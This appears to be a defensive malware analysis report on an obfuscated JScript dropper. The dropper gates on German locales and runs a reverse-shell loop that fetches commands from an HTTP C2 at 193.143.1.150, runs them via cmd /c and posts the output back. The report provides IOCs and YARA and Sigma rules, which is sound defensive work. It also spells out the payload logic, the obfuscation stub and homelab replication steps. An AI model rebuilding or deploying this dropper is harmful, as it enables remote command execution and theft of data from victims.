2a336cba9aaf25ccde6488e36ba7521c7ff3892e1d6ed05ee123ad98966a5764unclassified-js-german-locale-dropper: 2a336cba — 65 KB second sibling, 2,133 reassignment statements, HTTP PHP C2 reverse shell
Executive Summary
A 65 KB JScript reverse shell dropper that uses sequential variable-reassignment obfuscation (84 variables, 2,133 statements, last-wins semantics) to hide an eval-delivered payload. Gates execution to German-speaking locales only (LCIDs 1031/3079/5127/4103/2055) via registry read, then enters an infinite HTTP GET/POST command loop against 193.143.1.150/server.php. Second confirmed sibling of the unclassified-js-german-locale-dropper family. Static-only analysis (CAPE skipped — JScript not a supported binary class).
What It Is
| Attribute | Value |
|---|---|
| SHA-256 | 2a336cba9aaf25ccde6488e36ba7521c7ff3892e1d6ed05ee123ad98966a5764 |
| File name | 1015526925273687526.js (numeric filename, malware-bazaar convention) |
| Size | 65,205 bytes |
| File type | ASCII text, single line, no line terminators ^[file.txt] |
| Format | JScript / Windows Script Host |
| Obfuscation | Hand-rolled sequential variable reassignment (84 vars, 2,133 assignments) |
| Packer | None |
| Compiler | None (interpreted script) |
| Signing | None |
| Family | unclassified-js-german-locale-dropper — second confirmed sibling |
| First sibling | d3d22298 (42 KB, 84 vars, ~1,949 assignments) ^[entities/unclassified-js-german-locale-dropper.md] |
The file is a single line of JavaScript with no line breaks, 65 KB in length, containing 3,349 semicolon-delimited statements. ^[strings.txt:1] The first 1,000+ statements are inside a function vuk(){...} wrapper; the remaining ~2,000 statements are variable assignments outside the function. The final statement is vuk(); which triggers the eval.
How It Works
Stage 1 — Variable Reassignment Obfuscation
The outer layer defines 84 unique variable names (all lowercase 2–5 character strings: vlmz, kay, wfxl, oxos, dro, etc.). Each variable is assigned a single character value, then immediately overwritten multiple times in sequence. Only the last assignment survives at runtime.
Observed stats:
zwvk: 45 assignments (final'q')bmui: 45 assignments (final'u')gqhq: 44 assignments (final'd')goa: 43 assignments (final'p')xuh: 41 assignments (final'!')
The eval payload is assembled by concatenating these final values inside the function body:
function vuk(){this[vlmz+kay+wfxl+oxos](kay+wfxl+dro+leva+xsrt+zgex+...);}
After resolution, this[vlmz+kay+wfxl+oxos] becomes this['eval'], and the long concatenated string is the Stage 2 payload. ^[floss.txt] ^[strings.txt:1]
Stage 2 — Eval'd Reverse Shell
The resolved payload is JScript code that:
- Creates WScript.Shell COM object via
this['WScript']['CreateObject']('WScript.Shell') - Locale gate: Reads
HKCU\Control Panel\International\Locale, parses as hex integer, checks against whitelist[1031,3079,5127,4103,2055](German LCIDs). Exits if not matched. ^[deobfuscated-eval] - Fingerprinting: Reads
ProductIdfromHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductIdandComputerNamefromWScript.Network, concatenates intoigt(e.g.XXXXX-XXXXX-XXXXX-XXXXX@COMPUTERNAME). - FileSystemObject staging: Creates a temp text file in
%TEMP%named[ProductId]@[ComputerName].txt. - WScript-to-CScript migration: If running under
wscript.exe, re-spawns itself viacscript.exe(hidden window) with the.jsextension, then quits. - Command loop (infinite
for(;;)):GET http://193.143.1.150/server.php?Q=<igt>&<timestamp>viaMSXML2.XMLHTTP- Checks
status==200, response text starts with"OK"prefix - Strips the
"OK"prefix, replaces%SCRIPT_NAME%placeholder withScriptFullName - Executes via
WScript.Shell.Exec('cmd /c ' + command) - Captures
StdOut.ReadLine()into a buffer for up to 61,329ms POSTthe stdout buffer back to the same C2 URL- Sleeps 63,022ms between iterations
^[deobfuscated-eval]
Decompiled Behavior
Not applicable — this is a JScript file, not a compiled PE. No Ghidra/radare2 decompilation performed. Static analysis via Python-based string extraction and variable substitution.
C2 Infrastructure
| Indicator | Value |
|---|---|
| C2 URL | http://193.143.1.150/server.php |
| C2 IP | 193.143.1.150 |
| Protocol | Plain HTTP GET/POST |
| Request format | GET /server.php?Q=<ProductId>@<ComputerName>&<timestamp> |
| Response gate | status==200, body starts with "OK" |
| Command placeholder | %SCRIPT_NAME% (replaced with victim's script path) |
| Sleep interval | 63,022ms (~63 seconds) |
| StdOut timeout | 61,329ms |
The C2 IP 193.143.1.150 is in the same /24 as 193.143.1.231 used by WebDAV dropper siblings fd437971, be448b37, e0e66a94, and 8a490922, suggesting shared infrastructure between the German-locale dropper and WebDAV dropper families. ^[/intel/analyses/8a490922cf5fe7a2f4a5b84942188d8fe2d4e2aa365dc56e63249ce2bcff82e3.html]
Interesting Tidbits
- Same C2 subnet as WebDAV family:
193.143.1.150sits in the same/24as WebDAV C2193.143.1.231:8888used by 103rd sibling25b576b7and 98th sibling8a490922. Same actor or shared bulletproof hosting. ^[/intel/analyses/25b576b755738447b7904ca25d337a9cdfd299e8cfa6f3316d03da55a56cff1b.html] - Larger but same architecture: 65 KB vs 42 KB for first sibling, but identical variable count (84), same C2, same locale gate. The extra size is purely more reassignment overhead — the resolved payload is byte-for-byte functionally identical to
d3d22298(same command-loop structure, same LCID whitelist, same%SCRIPT_NAME%placeholder). - No dictionary object: Unlike the
unclassified-js-webdav-dropperfamily (which uses a 62–100 entry dictionary object), this family uses raw variable concatenation without an intermediate lookup table. ^[entities/unclassified-js-webdav-dropper.md] - Numeric filename:
1015526925273687526.jsfollows the same malware-bazaar numeric-naming convention as the first sibling (14391660018203124.js). - No noise padding: Unlike
unclassified-js-noise-base64-eval-dropperwhich uses massive noise strings and base64 encoding, this sample is pure reassignment with no base64 layer. ^[entities/unclassified-js-noise-base64-eval-dropper.md] - CScript migration: The payload specifically checks if running under
wscript.exe(GUI) and re-launches undercscript.exe(console) to capture stdout for the POST exfiltration. This is a thoughtful operational detail.
How To Mess With It (Homelab Replication)
- Create a local
.jsfile with 84 variables, each assigned 20–45 times in sequence (last-wins) - Wrap the payload in
function vuk(){this[eval](PAYLOAD);} - Use the same COM API pattern:
WScript.Shell,MSXML2.XMLHTTP,Scripting.FileSystemObject - Add the German LCID gate for realism
- Point the C2 to a local Python HTTP server (
python3 -m http.server 8080) - Verify with
cscript //nologo test.js
What you'll learn: How trivial it is to defeat static string extraction with basic reassignment, and why behavioral detection (WScript→HTTP→Exec) is the only reliable defense.
Deployable Signatures
YARA Rule
rule JScript_German_Locale_Dropper_Sequential_Reassignment : script malware {
meta:
description = "JScript reverse shell with sequential variable reassignment and German LCID gate"
author = "PacketPursuit"
date = "2026-07-25"
reference = "/intel/analyses/2a336cba9aaf25ccde6488e36ba7521c7ff3892e1d6ed05ee123ad98966a5764.html"
hash = "2a336cba9aaf25ccde6488e36ba7521c7ff3892e1d6ed05ee123ad98966a5764"
strings:
$func = "function vuk(){this[" ascii
$eval_pattern = /this\[[a-z]+\+[a-z]+\+[a-z]+\+[a-z]+\]\(/ ascii
$locale_gate = { 31 30 33 31 2C 33 30 37 39 2C 35 31 32 37 2C 34 31 30 33 2C 32 30 35 35 }
$c2_url = "http://193.143.1.150/server.php" ascii
$productid_reg = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductId" ascii
$computername = "ComputerName" ascii
$script_name_placeholder = "%SCRIPT_NAME%" ascii
condition:
filesize > 30KB and filesize < 100KB
and #eval_pattern > 10
and $func
and any of ($locale_gate, $c2_url, $productid_reg, $script_name_placeholder)
}
Sigma Rule
title: JScript German Locale Dropper Detection
status: experimental
description: Detects WScript execution of JScript with German LCID registry read followed by HTTP network activity and command execution
logsource:
category: process_creation
product: windows
detection:
selection_script:
CommandLine|contains:
- 'wscript.exe'
- 'cscript.exe'
CommandLine|endswith: '.js'
selection_registry:
TargetObject|contains: 'Control Panel\International\Locale'
selection_network:
Initiated: true
DestinationIp: '193.143.1.150'
selection_exec:
CommandLine|contains: 'cmd /c'
condition: selection_script and (selection_registry or selection_network or selection_exec)
falsepositives:
- Unlikely — the LCID whitelist and C2 IP are specific
level: high
IOC List
| Type | Value | Context |
|---|---|---|
| SHA-256 | 2a336cba9aaf25ccde6488e36ba7521c7ff3892e1d6ed05ee123ad98966a5764 |
Sample |
| Filename | 1015526925273687526.js |
Original delivery name |
| C2 URL | http://193.143.1.150/server.php |
Command fetch / result post |
| C2 IP | 193.143.1.150 |
Plain HTTP, no TLS |
| Registry read | HKCU\Control Panel\International\Locale |
Locale gate |
| Registry read | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId |
Fingerprinting |
| Temp file | %TEMP%\[ProductId]@[ComputerName].txt |
Staging file |
| Re-spawn path | %APPDATA%\[ProductId]@[ComputerName].js |
CScript migration target |
| LCID whitelist | 1031, 3079, 5127, 4103, 2055 | German locale IDs |
| Sleep interval | 63,022ms | Between C2 polls |
| StdOut timeout | 61,329ms | Command execution timeout |
| Placeholder | %SCRIPT_NAME% |
Replaced with victim script path |
Behavioral Fingerprint
This JScript dropper executes via wscript.exe or cscript.exe, reads the victim's Windows locale from HKCU\Control Panel\International\Locale and terminates immediately if the LCID is not in the German whitelist (1031/3079/5127/4103/2055). It then reads ProductId and ComputerName to build a victim fingerprint, creates a temporary text file in %TEMP%, and enters an infinite HTTP polling loop against 193.143.1.150/server.php using MSXML2.XMLHTTP. Commands returned by the C2 (stripped of an "OK" prefix) are executed via WScript.Shell.Exec('cmd /c ...'), with stdout captured and POSTed back to the same C2 URL. If running under wscript.exe, it re-spawns itself under cscript.exe to enable console output capture.
Detection Signatures (capa→ATT&CK)
Not applicable — capa does not support JScript files. ^[capa.txt]
References
- Artifact ID:
baaeec8b-5794-4762-90a2-38257f6302a6(OpenCTI) - MalwareBazaar:
1015526925273687526.js - First sibling:
d3d22298134d18033e55bc3581fa12d5cf30fe121d256e4044516e2bcdde4e23^[/intel/analyses/d3d22298134d18033e55bc3581fa12d5cf30fe121d256e4044516e2bcdde4e23.html] - Related family: unclassified-js-webdav-dropper — same
/24C2 subnet, different obfuscation and execution model - Related technique: jscript-sequential-variable-reassignment-eval
- Related technique: german-lcid-sandbox-gate
Provenance
- File type:
fileutility v12.76 — ASCII text, single line, 65 KB ^[file.txt] - String extraction: Python custom script (sequential variable substitution, 84 variables, 2,133 assignments) ^[deobfuscated-eval]
- No floss/capa/radare2 output — tools failed on non-PE input ^[floss.txt] ^[capa.txt]
- CAPE skipped: file type not a supported binary class ^[dynamic-analysis.md]